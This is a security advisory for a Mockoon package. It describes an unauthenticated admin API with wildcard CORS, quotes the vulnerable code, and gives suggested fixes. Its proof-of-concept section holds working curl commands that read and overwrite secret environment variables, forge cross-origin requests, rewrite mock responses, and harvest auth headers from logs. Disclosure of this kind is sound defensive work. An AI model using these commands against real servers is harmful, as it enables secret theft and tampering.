GHSA-rqx4-3f6q-3x2v
@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft
Quick fix
GHSA-rqx4-3f6q-3x2v — @mockoon/commons-server: upgrade to the fixed version with the command below.
npm install @mockoon/commons-server@9.7.0Details
## Summary
Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits).
Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can:
- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). - **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. - **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.
Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.
---
## Details
### Root cause
`packages/commons-server/src/libs/server/server.ts:127`:
```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ```
`packages/cli/src/commands/start.ts:200`:
```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ```
`packages/serverless/src/libs/serverless.ts:21`:
```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ```
`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):
```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ```
`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):
```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ```
`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite):
```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ```
Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`.
---
## PoC
### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)
`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with:
``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ```
Bind confirmed via `lsof`:
``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ```
Baseline mock response:
``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ```
#### 1) Read operator secret unauth
``` $ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY HTTP/1.1 200 OK access-control-allow-origin: * {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ```
#### 2) Poison operator secret unauth → downstream consumer ingests attacker value
``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}
$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"} ```
#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)
``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"} ```
#### 4) Cross-origin CSRF from `https://attacker.evil`
``` $ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"} ```
Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.
#### 5) Rewrite every mock route via unauth `PUT /environment`
``` $ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}
$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true} ```
#### 6) Read transaction logs / SSE stream → harvest consumer's auth headers
``` $ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2 ```
Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.
#### 7) Purge state (DoS)
``` $ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"} ```
---
## Impact
In typical local-dev mode (CVSS 8.8 High):
- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any `process.env` key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.
In network-exposed deployment (CVSS 9.4 Critical):
- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.
---
## Suggested fix
1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`. 2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler — reject any `key` that doesn't start with `envVarsPrefix`. 5. Add `SECURITY.md` with disclosure instructions. 6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 9.7.0npm install @mockoon/commons-server@9.7.0References
- https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-59148[ADVISORY]
- https://github.com/mockoon/mockoon/pull/2254[WEB]
- https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299[WEB]
- https://github.com/mockoon/mockoon[PACKAGE]
- https://github.com/mockoon/mockoon/releases/tag/v9.7.0[WEB]
- https://mockoon.com/releases/9.7.0[WEB]